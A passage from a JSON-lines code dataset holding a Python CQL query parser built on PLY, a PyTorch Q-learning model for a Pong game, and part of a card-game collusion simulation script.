startIdx\n","repo_name":"daviddwlee84/LeetCode","sub_path":"Python3/Array/RemoveElement/Naive027.py","file_name":"Naive027.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"7"} +{"seq_id":"11057214637","text":"import logging\nimport sys\nimport xml.etree.ElementTree as ET\nfrom itertools import groupby\nfrom typing import List\nfrom typing import Optional\nfrom typing import Union\n\nimport cql._vendor.ply.yacc as yacc\nfrom cql._vendor.ply.lex import Lexer\nfrom cql._vendor.ply.lex import LexToken\nfrom cql._vendor.ply.yacc import LRParser\nfrom cql._vendor.ply.yacc import YaccProduction\nfrom cql._vendor.ply.yacc import YaccSymbol\nfrom cql.lexer import CQLLexer\n\nLOGGER = logging.getLogger(__name__)\n\n\n# ---------------------------------------------------------------------------\n\n\nXCQL_NAMESPACE = \"http://www.loc.gov/zing/cql/xcql/\"\n\n# see notes at http://www.loc.gov/standards/sru/cql/spec.html#note1\nCQL12_DEFAULT_RELATION = \"=\"\nCQL11_DEFAULT_RELATION = \"scr\"\nCQL_DEFAULT_INDEX = \"cql.serverChoice\"\n\n\n# ---------------------------------------------------------------------------\n\n\ndef escape(val: Union[\"CQLPrefixedName\", str]) -> str:\n if isinstance(val, CQLPrefixedName):\n val = val.name\n if len(val) == 0:\n return '\"\"'\n if any(c in val for c in (' \\t\\r\\n\\f\\v<>=/()\"')):\n return '\"' + val.replace('\"', '\\\\\"') + '\"'\n return val\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLParserError(Exception):\n pass\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLPrefixedName:\n def __init__(self, name: str):\n self.name = name\n\n @property\n def prefix(self) -> Optional[str]:\n if \".\" not in self.name:\n return None\n return self.name.split(\".\", 1)[0]\n\n @property\n def basename(self) -> str:\n if \".\" not in self.name:\n return self.name\n return self.name.split(\".\", 1)[1]\n\n def __str__(self) -> str:\n return self.name\n\n def __repr__(self) -> str:\n return repr(self.name)\n\n def __eq__(self, __o: object) -> bool:\n if isinstance(__o, str):\n return __o == self.name\n if isinstance(__o, CQLPrefixedName):\n return __o.name == self.name\n return False\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLModifier: # XCQL: modifier\n def __init__(\n self, name: str, comparitor: Optional[str] = None, value: Optional[str] = None\n ):\n self.name = (\n CQLPrefixedName(name) if not isinstance(name, CQLPrefixedName) else name\n ) # XCQL: type\n self.comparitor = comparitor # XCQL: comparison\n self.value = value # XCQL: value\n # TODO: check prefix splitting\n\n def toCQL(self) -> str:\n if self.comparitor is None or self.value is None:\n return f\"/{escape(self.name)}\"\n return f\"/{escape(self.name)}{self.comparitor}{escape(self.value)}\"\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"modifier\")\n ET.SubElement(ele, \"type\").text = str(self.name)\n if self.comparitor is not None and self.value is not None:\n ET.SubElement(ele, \"comparison\").text = self.comparitor\n ET.SubElement(ele, \"value\").text = self.value\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLModifier[{self.toCQL()}]\"\n\n\nclass CQLModifierable: # XCQL: modifiers\n def __init__(self, modifiers: Optional[List[CQLModifier]] = None):\n self.modifiers = modifiers # XCQL: [modifier]\n\n def toCQL(self) -> str:\n if not self.modifiers:\n return \"\"\n return \"\".join(m.toCQL() for m in self.modifiers)\n\n def toXCQL(self) -> Optional[ET.Element]:\n if not self.modifiers:\n return None\n\n ele = ET.Element(\"modifiers\")\n for modifier in self.modifiers:\n ele.append(modifier.toXCQL())\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLModifierable[{self.toCQL()}]\"\n\n\nclass CQLPrefix: # XCQL: prefix\n def __init__(self, uri: str, prefix: Optional[str] = None):\n self.prefix = prefix # XCQL: name\n self.uri = uri # XCQL: identifier\n\n def toCQL(self) -> str:\n if self.prefix is None:\n return f\"> {escape(self.uri)}\"\n return f\"> {self.prefix} = {escape(self.uri)}\"\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"prefix\")\n if self.prefix is not None:\n ET.SubElement(ele, \"name\").text = str(self.prefix)\n ET.SubElement(ele, \"identifier\").text = self.uri\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLPrefix[{self.toCQL()}]\"\n\n\nclass CQLPrefixable: # XCQL: prefixes\n def __init__(self):\n super().__init__()\n self.prefixes: List[CQLPrefix] = list() # XCQL: [prefix]\n\n def add_prefix(self, prefix: CQLPrefix):\n self.prefixes.append(prefix)\n\n def toCQL(self) -> str:\n return \" \".join(p.toCQL() for p in self.prefixes)\n\n def toXCQL(self) -> Optional[ET.Element]:\n if not self.prefixes:\n return None\n\n ele_prefixes = ET.Element(\"prefixes\")\n # sorted(self.prefixes, key=lambda p: (p.prefix, p.uri))\n for prefix in self.prefixes:\n ele_prefixes.append(prefix.toXCQL())\n return ele_prefixes\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLPrefixable[{self.toCQL()}]\"\n\n\nclass CQLSortSpec(CQLModifierable): # XCQL: key\n def __init__(self, index: str, modifiers: Optional[List[CQLModifier]] = None):\n super().__init__(modifiers) # XCQL: modifiers\n self.index = (\n CQLPrefixedName(index) if not isinstance(index, CQLPrefixedName) else index\n ) # XCQL: index\n\n def toCQL(self):\n return f\"sortBy {escape(self.index)}{CQLModifierable.toCQL(self)}\"\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"key\")\n ET.SubElement(ele, \"index\").text = str(self.index)\n ele_modifiers = CQLModifierable.toXCQL(self)\n if ele_modifiers:\n ele.append(ele_modifiers)\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLSortSpec[{self.toCQL()}]\"\n\n\nclass CQLSortable: # XCQL: sortKeys\n def __init__(self):\n super().__init__()\n self.sortSpecs: List[CQLSortSpec] = list() # XCQL: [key]\n\n def add_sortSpecs(self, sortSpecs: List[CQLSortSpec]):\n self.sortSpecs = sortSpecs\n\n def toCQL(self):\n return \" \".join(\n [\"sortBy\"]\n + [\n f\"{escape(sortSpec.index)}{CQLModifierable.toCQL(sortSpec)}\"\n for sortSpec in self.sortSpecs\n ]\n )\n\n def toXCQL(self) -> Optional[ET.Element]:\n if not self.sortSpecs:\n return None\n\n ele_sortKeys = ET.Element(\"sortKeys\")\n for sortSpec in self.sortSpecs:\n ele_sortKeys.append(sortSpec.toXCQL())\n return ele_sortKeys\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLSortable[{self.toCQL()}]\"\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLRelation(CQLModifierable): # XCQL: relation\n def __init__(self, comparitor: str, modifiers: Optional[List[CQLModifier]] = None):\n super().__init__(modifiers) # XCQL: modifiers\n self.comparitor = (\n CQLPrefixedName(comparitor)\n if not isinstance(comparitor, CQLPrefixedName)\n else comparitor\n ) # XCQL: value\n\n def toCQL(self) -> str:\n return f\"{self.comparitor}{CQLModifierable.toCQL(self)}\"\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"relation\")\n ET.SubElement(ele, \"value\").text = str(self.comparitor)\n\n ele_modifiers = CQLModifierable.toXCQL(self)\n if ele_modifiers:\n ele.append(ele_modifiers)\n return ele\n\n def __repr__(self) -> str:\n return f\"CQLRelation[{self.toCQL()}]\"\n\n def __str__(self) -> str:\n return self.toCQL()\n\n\nclass CQLBoolean(CQLModifierable): # XCQL: boolean\n def __init__(self, value: str, modifiers: Optional[List[CQLModifier]] = None):\n super().__init__(modifiers) # XCQL: modifiers\n self.value = value # XCQL: value\n\n def toCQL(self) -> str:\n return f\"{self.value}{CQLModifierable.toCQL(self)}\"\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"boolean\")\n ET.SubElement(ele, \"value\").text = self.value\n ele_modifiers = CQLModifierable.toXCQL(self)\n if ele_modifiers:\n ele.append(ele_modifiers)\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLBoolean[{self.toCQL()}]\"\n\n\nclass CQLSearchClause(CQLPrefixable, CQLSortable): # XCQL: searchClause\n def __init__(\n self,\n term: str,\n index: Optional[Union[CQLPrefixedName, str]] = None,\n relation: Optional[CQLRelation] = None,\n ):\n super().__init__() # XCQL: prefixes / sortKeys\n self.term = term # XCQL: term\n if index is not None:\n if not isinstance(index, CQLPrefixedName):\n index = CQLPrefixedName(index)\n self.index = index # XCQL: index\n if relation is not None:\n if not isinstance(relation, CQLRelation):\n LOGGER.warning(\n \"Parameter 'relation' is plain string instead of CQLRelation!\"\n )\n relation = CQLRelation(relation)\n self.relation = relation # XCQL: relation\n\n def toCQL(self) -> str:\n if self.relation is None or self.index is None:\n sc = f\"{escape(self.term)}\"\n else:\n sc = f\"{escape(self.index)} {self.relation.toCQL()} {escape(self.term)}\"\n\n p = CQLPrefixable.toCQL(self)\n if p:\n sc = f\"{p} {sc}\"\n\n return sc\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"searchClause\")\n\n ele_prefixes = CQLPrefixable.toXCQL(self)\n if ele_prefixes:\n ele.append(ele_prefixes)\n\n if self.index is not None and self.relation is not None:\n ET.SubElement(ele, \"index\").text = str(self.index)\n # ET.SubElement(ele_index, \"value\").text = str(self.index)\n ele.append(self.relation.toXCQL())\n ET.SubElement(ele, \"term\").text = self.term\n\n ele_sortKeys = CQLSortable.toXCQL(self)\n if ele_sortKeys:\n ele.append(ele_sortKeys)\n\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLSearchClause[{self.toCQL()}]\"\n\n\nclass CQLTriple(CQLPrefixable, CQLSortable): # XCQL: triple\n def __init__(\n self,\n left: Union[\"CQLTriple\", CQLSearchClause],\n operator: CQLBoolean,\n right: Union[\"CQLTriple\", CQLSearchClause],\n ):\n super().__init__() # XCQL: prefixes / sortKeys\n self.left = left # XCQL: leftOperand\n self.operator = operator # XCQL: boolean\n self.right = right # XCQL: rightOperand\n\n def toCQL(self) -> str:\n left = self.left.toCQL()\n if isinstance(self.left, CQLTriple):\n left = f\"({left})\"\n right = self.right.toCQL()\n if isinstance(self.right, CQLTriple):\n right = f\"({right})\"\n return f\"{left} {self.operator.toCQL()} {right}\"\n\n def toXCQL(self) -> ET.Element:\n ele = ET.Element(\"triple\")\n\n ele_prefixes = CQLPrefixable.toXCQL(self)\n if ele_prefixes:\n ele.append(ele_prefixes)\n\n ele.append(self.operator.toXCQL())\n ET.SubElement(ele, \"leftOperand\").append(self.left.toXCQL())\n ET.SubElement(ele, \"rightOperand\").append(self.right.toXCQL())\n\n ele_sortKeys = CQLSortable.toXCQL(self)\n if ele_sortKeys:\n ele.append(ele_sortKeys)\n\n return ele\n\n def __str__(self) -> str:\n return self.toCQL()\n\n def __repr__(self) -> str:\n return f\"CQLTriple[{self.toCQL()}]\"\n\n\nclass CQLQuery: # XCQL: triple | searchClause\n def __init__(self, root: Union[CQLTriple, CQLSearchClause], version=\"1.2\"):\n self.root = root # XCQL: triple | searchClause\n self.version = version\n\n def setServerDefaults(\n self, addCQLPrefixes: bool = False, serverPrefix: Optional[str] = None\n ):\n # iterate over all \"empty\" fields and set server defaults\n # TODO: also do for prefixes?\n\n def _setDefaults(obj):\n if isinstance(obj, CQLPrefixable):\n if obj.prefixes:\n for prefix in obj.prefixes:\n if prefix.prefix is None:\n prefix.prefix = CQL_DEFAULT_INDEX\n\n if isinstance(obj, CQLModifierable):\n if obj.modifiers:\n for modifier in obj.modifiers:\n pass\n\n if isinstance(obj, CQLSortable):\n if obj.sortSpecs:\n for sortSpec in obj.sortSpecs:\n _setDefaults(sortSpec)\n\n if isinstance(obj, CQLTriple):\n _setDefaults(obj.operator)\n _setDefaults(obj.left)\n _setDefaults(obj.right)\n elif isinstance(obj, CQLSearchClause):\n if obj.index is None and obj.relation is None:\n obj.index = CQL_DEFAULT_INDEX\n obj.relation = CQLRelation(\n CQL11_DEFAULT_RELATION\n if self.version == \"1.1\"\n else CQL12_DEFAULT_RELATION\n )\n _setDefaults(obj.relation)\n\n _setDefaults(self.root)\n\n def toCQL(self) -> str:\n return self.root.toCQL()\n\n def toXCQL(self) -> ET.Element:\n ele: ET.Element = self.root.toXCQL()\n ele.attrib[\"xmlns\"] = XCQL_NAMESPACE\n return ele\n\n def toXCQLString(self, pretty: bool = False) -> str:\n tree = self.toXCQL()\n\n xmlstr = ET.tostring(tree, encoding=\"unicode\")\n\n if pretty:\n # ET.indent() in Python 3.9+\n from xml.dom import minidom\n\n xmlstr = minidom.parseString(xmlstr).toprettyxml(indent=\" \")\n\n return xmlstr\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLParser:\n tokens = CQLLexer.tokens\n\n # ---------------------------------------------------\n\n def build(self, lexer: Optional[Lexer] = None, **kwargs) -> None:\n if lexer is None:\n lexer = CQLLexer()\n lexer.build()\n self.lexer: Lexer = lexer\n\n # based on https://github.com/dabeaz/ply/blob/af80858e888c5f36979da88fcb1080de7b848967/src/ply/yacc.py#L2279\n # and https://github.com/dabeaz/ply/blob/af80858e888c5f36979da88fcb1080de7b848967/src/ply/yacc.py#L2075\n class HidePErrorRedefinedLogger(yacc.PlyLogger):\n def warning(self, msg, *args, **kwargs):\n if (\n msg == \"%s:%d: Function %s redefined. Previously defined on line %d\"\n and len(args) == 4\n and args[2] == \"p_error\"\n and args[0].endswith(\"cql/parser.py\")\n ):\n return\n return super().warning(msg, *args, **kwargs)\n\n kwargs.setdefault(\"errorlog\", HidePErrorRedefinedLogger(sys.stderr))\n\n self.parser: LRParser = yacc.yacc(module=self, **kwargs)\n\n def parse(self, content: str, **kwargs) -> CQLQuery:\n LOGGER.debug(\"Input: %s\", content)\n result = self.parser.parse(content, lexer=self.lexer.lexer, **kwargs)\n return result\n\n # ---------------------------------------------------\n\n def p_error(self, p: YaccProduction):\n LOGGER.error(\"Parser stack: %s. Token: %s\", self.parser.symstack[1:], p)\n\n if p is None:\n # missing symbols\n LOGGER.error(\n \"Syntex error: EOF / no symbols left. Parser stack: %s\",\n self.parser.symstack,\n )\n\n raise CQLParserError(\"Syntex error: EOF / no symbols left!\")\n\n LOGGER.error(\n \"Syntex error: [lno:%d,col:%d]: %s\",\n p.lineno,\n self.lexer.find_column(p),\n p,\n )\n LOGGER.error(\n \"Found symbol: %s. Expected any of: %s\",\n p.type,\n \", \".join(self.parser.action[self.parser.state].keys()),\n )\n\n # only if last symbol/token has no options -> check from previous\n # listing rules/productions that the currently wrong token could have taken if it were correct\n if not self.parser.goto[self.parser.statestack[-1]]:\n prev_state = self.parser.statestack[-2]\n LOGGER.debug(\n \"Possible next reductions for (invalid token) %r if symbol %r were to be reduced to symbol:\",\n p,\n self.parser.symstack[-1],\n )\n for action, next_state in self.parser.goto[prev_state].items():\n LOGGER.debug(\" -> %s:\", action)\n for prod_idx, actions in groupby(\n sorted(self.parser.action[next_state].items(), key=lambda x: x[1]),\n key=lambda x: x[1],\n ):\n next_prod = self.parser.productions[-prod_idx]\n # LOGGER.debug(\" ~ from symbol: %s\", next_prod.usyms)\n symbols = [s[0] for s in actions]\n LOGGER.debug(\n \" - production '%s' with symbols %s\",\n next_prod,\n \", \".join(symbols),\n )\n\n raise CQLParserError(\n f\"Found symbol {p.type!r}. Expected any of: {', '.join(self.parser.action[self.parser.state].keys())}\"\n )\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLParser11(CQLParser):\n start = \"cqlQuery\"\n\n # ---------------------------------------------------\n\n def p_cqlQuery(self, p: YaccProduction):\n # fmt: off\n \"\"\"cqlQuery : prefixAssignmentGroup cqlQuery\n | scopedClause\"\"\"\n # fmt: on\n LOGGER.debug(\"p_cqlQuery: %s -> %s\", p.slice[1:], p[1:])\n if len(p) == 3:\n LOGGER.debug(\"p_cqlQuery (assign prefix): %s <<- %s\", p.slice[2], p[1])\n for prefix in p[1]:\n p[2].add_prefix(prefix)\n p[0] = p[2]\n else:\n p[0] = p[1]\n LOGGER.debug(\"stack@p_cqlQuery: %s\", p.stack)\n if len(p.stack) == 1 and p.stack[0].type == \"$end\":\n p[0] = CQLQuery(p[0], version=\"1.1\")\n\n def p_prefixAssignmentGroup(self, p: YaccProduction):\n # to have left precedence (not really according to specs? but for cql-java tests)\n # fmt: off\n \"\"\"prefixAssignmentGroup : prefixAssignmentGroup prefixAssignment\n | prefixAssignment\"\"\"\n # fmt: on\n LOGGER.debug(\"p_prefixAssignmentGroup: %s -> %r\", p.slice[1:], p[1])\n if len(p) == 2:\n p[0] = list()\n p[0].append(p[1])\n else:\n if not isinstance(p[0], list):\n p[0] = list()\n p[0].extend(p[1])\n p[0].append(p[2])\n\n def p_prefixAssignment(self, p: YaccProduction):\n # fmt: off\n \"\"\"prefixAssignment : GT prefix EQ uri\n | GT uri\"\"\"\n # fmt: on\n LOGGER.debug(\"p_prefixAssignment: %s\", p.slice[1:])\n if len(p) == 5:\n p[0] = CQLPrefix(uri=p[4], prefix=p[2])\n else:\n p[0] = CQLPrefix(uri=p[2])\n\n def p_scopedClause(self, p: YaccProduction):\n # fmt: off\n \"\"\"scopedClause : scopedClause booleanGroup searchClause\n | searchClause\"\"\"\n # fmt: on\n LOGGER.debug(\"p_scopedClause: %s -> %s\", p.slice[1:], p[1:])\n if len(p) == 4:\n p[0] = CQLTriple(left=p[1], operator=p[2], right=p[3])\n else:\n p[0] = p[1]\n\n def p_booleanGroup(self, p: YaccProduction):\n # fmt: off\n \"\"\"booleanGroup : boolean modifierList\n | boolean\"\"\"\n # fmt: on\n LOGGER.debug(\"p_booleanGroup: %s -> %r\", p.slice[1:], p[1])\n if len(p) == 3:\n p[0] = CQLBoolean(p[1], modifiers=p[2])\n else:\n p[0] = CQLBoolean(p[1])\n\n def p_boolean(self, p: YaccProduction):\n # fmt: off\n \"\"\"boolean : AND\n | OR\n | NOT\n | PROX\"\"\"\n # fmt: om\n LOGGER.debug(\"p_boolean: %s\", p.slice[1])\n p[0] = p[1]\n\n def p_searchClause(self, p: YaccProduction):\n # fmt: off\n \"\"\"searchClause : LPAREN cqlQuery RPAREN\n | index relation searchTerm\n | searchTerm\"\"\"\n # fmt: on\n LOGGER.debug(\"p_searchClause: %s -> %s\", p.slice[1:], p[1:])\n if len(p) == 4:\n if p.slice[1].type == \"LPAREN\" and p.slice[3].type == \"RPAREN\":\n p[0] = p[2]\n else:\n p[0] = CQLSearchClause(term=p[3], relation=p[2], index=p[1])\n else:\n p[0] = CQLSearchClause(term=p[1])\n\n def p_relation(self, p: YaccProduction):\n # fmt: off\n \"\"\"relation : comparitor modifierList\n | comparitor\"\"\"\n # fmt: on\n LOGGER.debug(\"p_relation: %s -> %r\", p.slice[1:], p[1])\n if len(p) == 3:\n p[0] = CQLRelation(p[1], modifiers=p[2])\n else:\n p[0] = CQLRelation(p[1])\n\n def p_comparitor(self, p: YaccProduction):\n # fmt: off\n \"\"\"comparitor : comparitorSymbol\n | namedComparitor\"\"\"\n # fmt: on\n LOGGER.debug(\"p_comparitor: %s -> %r\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_comparitorSymbol(self, p: YaccProduction):\n # fmt: off\n \"\"\"comparitorSymbol : EQ\n | GT\n | LT\n | GE\n | LE\n | NE\n | EQUALS\"\"\"\n # fmt: on\n LOGGER.debug(\"p_comparitorSymbol: %s\", p.slice[1])\n p[0] = p[1]\n\n def p_namedComparitor(self, p: YaccProduction):\n \"\"\"namedComparitor : identifier\"\"\"\n LOGGER.debug(\"p_namedComparitor: %s -> %s\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_modifierList(self, p: YaccProduction):\n # fmt: off\n \"\"\"modifierList : modifierList modifier\n | modifier\"\"\"\n # fmt: on\n LOGGER.debug(\"p_modifierList: %s\", p.slice[1:])\n if len(p) == 2:\n p[0] = list()\n p[0].append(p[1])\n else:\n if not isinstance(p[0], list):\n p[0] = list()\n p[0].extend(p[1])\n p[0].append(p[2])\n\n def p_modifier(self, p: YaccProduction):\n # fmt: off\n \"\"\"modifier : MODSTART modifierName comparitorSymbol modifierValue\n | MODSTART modifierName\"\"\"\n # fmt: on\n LOGGER.debug(\"p_modifier: %s\", p.slice[1:])\n if len(p) == 5:\n p[0] = CQLModifier(p[2], comparitor=p[3], value=p[4])\n else:\n p[0] = CQLModifier(p[2])\n\n def p_prefix(self, p: YaccProduction):\n \"\"\"prefix : term\"\"\"\n # LOGGER.debug(\"p_prefix: %s -> %r\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_uri(self, p: YaccProduction):\n \"\"\"uri : term\"\"\"\n # LOGGER.debug(\"p_uri: %s -> %r\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_modifierName(self, p: YaccProduction):\n \"\"\"modifierName : term\"\"\"\n LOGGER.debug(\"p_modifierName: %s -> %r\", p.slice[1], p[1])\n p[0] = CQLPrefixedName(p[1])\n\n def p_modifierValue(self, p: YaccProduction):\n \"\"\"modifierValue : term\"\"\"\n LOGGER.debug(\"p_modifierValue: %s -> %r\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_searchTerm(self, p: YaccProduction):\n \"\"\"searchTerm : term\"\"\"\n LOGGER.debug(\"p_searchTerm: %s -> %r\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_index(self, p: YaccProduction):\n \"\"\"index : term\"\"\"\n LOGGER.debug(\"p_index: %s -> %r\", p.slice[1], p[1])\n p[0] = CQLPrefixedName(p[1])\n\n def p_term(self, p: YaccProduction):\n # fmt: off\n \"\"\"term : identifier\n | AND\n | OR\n | NOT\n | PROX\n | SORTBY\"\"\"\n # fmt: on\n LOGGER.debug(\"p_term: %s -> %r\", p.slice[1], p[1])\n p[0] = p[1]\n\n def p_identifier(self, p: YaccProduction):\n # fmt: off\n \"\"\"identifier : CHAR_STRING1\n | CHAR_STRING2\"\"\"\n # fmt: on\n LOGGER.debug(\"p_identifier: %s\", p.slice[1])\n p[0] = p[1]\n\n def p_error(self, p: YaccProduction):\n if len(self.parser.symstack) >= 3:\n # missing right side\n if (\n isinstance(self.parser.symstack[-2], YaccSymbol)\n and self.parser.symstack[-2].type in (\"scopedClause\",)\n and isinstance(self.parser.symstack[-1], LexToken)\n and self.parser.symstack[-1].type in (\"AND\", \"OR\", \"NOT\", \"PROX\")\n ):\n raise CQLParserError(\n f\"Missing right side for scopedClause at position {self.lexer.lexer.lexpos}.\"\n )\n\n # missing closing parenthesis\n # TODO: general check whether LPAREN on stack or found remaining RPAREN?\n if (\n isinstance(self.parser.symstack[-2], LexToken)\n and self.parser.symstack[-2].type == \"LPAREN\"\n and isinstance(self.parser.symstack[-1], YaccSymbol)\n and self.parser.symstack[-1].type\n in (\"scopedClause\", \"cqlQuery\", \"term\")\n ):\n raise CQLParserError(\n f\"Missing closing parenthesis at position {self.lexer.lexer.lexpos}.\"\n )\n\n if p is not None:\n # missing opening parenthesis (any other cases possible here?)\n # check for end symbol ($end) which should mean, query could have been completed\n if (\n p.type == \"RPAREN\"\n and \"$end\" in self.parser.action[self.parser.state].keys()\n ):\n raise CQLParserError(\n f\"Missing opening parenthesis / superfluous closing parenthesis at {self.lexer.lexer.lexpos}.\"\n )\n\n super().p_error(p)\n\n\n# ---------------------------------------------------------------------------\n\n\nclass CQLParser12(CQLParser11):\n start = \"sortedQuery\"\n\n # ---------------------------------------------------\n\n def p_sortedQuery(self, p: YaccProduction):\n # fmt: off\n \"\"\"sortedQuery : prefixAssignmentGroup sortedQuery\n | scopedClause SORTBY sortSpec\n | scopedClause\"\"\"\n # fmt: on\n LOGGER.debug(\"p_sortedQuery: %s -> %s\", p.slice[1:], p[1:])\n if len(p) == 4:\n p[1].add_sortSpecs(p[3])\n p[0] = p[1]\n elif len(p) == 3:\n LOGGER.debug(\"p_sortedQuery (assign prefix): %s <<- %s\", p.slice[2], p[1])\n for prefix in p[1]:\n p[2].add_prefix(prefix)\n p[0] = p[2]\n else:\n p[0] = p[1]\n LOGGER.debug(\"stack@p_sortedQuery: %s\", p.stack)\n if len(p.stack) == 1 and p.stack[0].type == \"$end\":\n p[0] = CQLQuery(p[0], version=\"1.2\")\n\n def p_sortSpec(self, p: YaccProduction):\n # fmt: off\n \"\"\"sortSpec : sortSpec singleSpec\n | singleSpec\"\"\"\n # fmt: on\n LOGGER.debug(\"p_sortSpec: %s\", p.slice[1:])\n if len(p) == 2:\n p[0] = list()\n p[0].append(p[1])\n else:\n if not isinstance(p[0], list):\n p[0] = list()\n p[0].extend(p[1])\n p[0].append(p[2])\n\n def p_singleSpec(self, p: YaccProduction):\n # fmt: off\n \"\"\"singleSpec : index modifierList\n | index\"\"\"\n # fmt: on\n LOGGER.debug(\"p_singleSpec: %s -> %r\", p.slice[1:], p[1])\n if len(p) == 3:\n p[0] = CQLSortSpec(p[1], modifiers=p[2])\n else:\n p[0] = CQLSortSpec(p[1])\n\n def p_error(self, p: YaccProduction):\n if len(self.parser.symstack) >= 3:\n # missing sort key\n if (\n isinstance(self.parser.symstack[-2], YaccSymbol)\n and self.parser.symstack[-2].type == \"scopedClause\"\n and isinstance(self.parser.symstack[-1], LexToken)\n and self.parser.symstack[-1].type == \"SORTBY\"\n ):\n if p is None:\n raise CQLParserError(\n f\"No sort key supplied at position {self.lexer.lexer.lexpos}. Unexpected end of input.\"\n )\n else:\n raise CQLParserError(\n f\"No sort key supplied at position {self.lexer.lexer.lexpos}. Found {p} symbol.\"\n )\n\n super().p_error(p)\n\n\n# ---------------------------------------------------------------------------\n","repo_name":"Querela/cql-python","sub_path":"src/cql/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":29451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"13111554191","text":"# import libraries\nfrom torch import nn\nimport torch\nimport os\n\n# neural network class\nclass Q_net(nn.Module):\n def __init__(self, input, hidden_size, output):\n super(Q_net, self).__init__()\n self.linear_net = nn.Sequential(\n nn.Linear(input, hidden_size), nn.ReLU(), nn.Linear(hidden_size, output)\n )\n\n def forward(self, x):\n x = self.linear_net(x)\n return x\n\n def save_model(self, filename=\"model.pth\"):\n path_file = \"./models\"\n if not os.path.exists(path_file):\n os.makedirs(path_file)\n\n file_name = os.path.join(path_file, filename)\n torch.save(self.state_dict(), file_name)\n\n\nclass Q_learner:\n def __init__(self, model, learning_rate, gamma):\n self.model = model\n self.gamma = gamma\n self.learning_rate = learning_rate\n self.optimizer = torch.optim.Adam(self.model.parameters(), self.learning_rate)\n self.criterion = nn.MSELoss()\n\n def train(self, state, action, reward, next_state, done):\n # defining the state, action, reward, next_state tensors\n state = torch.tensor(state, dtype=torch.float)\n action = torch.tensor(action, dtype=torch.long)\n reward = torch.tensor(reward, dtype=torch.float)\n next_state = torch.tensor(next_state, dtype=torch.float)\n\n if len(state.shape) == 1:\n state = torch.unsqueeze(state, 0)\n action = torch.unsqueeze(action, 0)\n reward = torch.unsqueeze(reward, 0)\n next_state = torch.unsqueeze(next_state, 0)\n done = (done,)\n\n pred = self.model(state)\n target = pred.clone()\n\n for idx in range(len(done)):\n # initialising the Q_value_network\n Q_new = reward[idx]\n if not done[idx]:\n # the bellman equation of the Q_network\n Q_new = reward[idx] + self.gamma * torch.max(\n self.model(next_state[idx])\n )\n\n # getting the index value of action too\n target[idx][torch.argmax(action).item()] = Q_new\n\n # backpropagation algorithm\n self.optimizer.zero_grad()\n loss = self.criterion(target, pred)\n loss.backward()\n\n self.optimizer.step()\n","repo_name":"Dan-tb/Pong_AI","sub_path":"Pong_AI/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"25784800545","text":"import pandas as pd\nimport datetime\nimport sys\nimport os\nimport itertools\nimport math\ntry:\n from .game_v2 import *\nexcept (ModuleNotFoundError if sys.version_info >= (3, 6) else SystemError) as e:\n from game_v2 import *\n\n\n\nopponent_player = (PlayerType.PC_GREEDY, \"NPC\")\n\n\ndef make_players(total_num, first_pos, info_prob):\n assert isinstance(total_num, int) and 3 <= total_num <= 10\n assert isinstance(first_pos, int) and 0 <= first_pos <= (total_num - 1)\n players = [opponent_player] * total_num\n\n # since we only care about collusion with probability, we don't set a contrast group\n # actually info_prob = 1 is equivalent to a contrast group\n nc_greedy_get_play = NeighborColludingGetPlay(\"greedy\", info_probability=info_prob)\n nc_greedy_get_color = NeighborColludingGetColor(\"greedy\", info_probability=info_prob)\n colluding_player1 = (PlayerType.POLICY, \"NC_GREEDY_1\", dict(get_play=nc_greedy_get_play, get_color=nc_greedy_get_color))\n colluding_player2 = (PlayerType.POLICY, \"NC_GREEDY_2\", dict(get_play=nc_greedy_get_play, get_color=nc_greedy_get_color))\n\n players[first_pos] = colluding_player1\n players[(first_pos + 1) % total_num] = colluding_player2\n return players\n\n\nif __name__ == \"__main__\":\n ts = datetime.datetime.today().strftime('%Y%m%d%H%M%S') # time string\n out_folder = \"local_collusion_result/greedy_probabilistic_collusion\"\n os.makedirs(out_folder, exist_ok=True)\n end_condition = GameEndCondition.ROUND_10000\n\n for num_players in range(3, 11):\n\n out_file = \"ProbNeighborCollusion_10000rounds_{}players_{}.csv\".format(num_players, ts)\n out_path = os.path.join(out_folder, out_file)\n\n cols = list(itertools.chain(*[[\"p{}_type\".format(i), \"p{}_collusion_type\".format(i),\n \"p{}_num_wins\".format(i), \"p{}_cum_reward\".format(i)]\n for i in range(num_players)])) + [\"info_probability\"]\n\n df = pd.DataFrame(columns=cols) 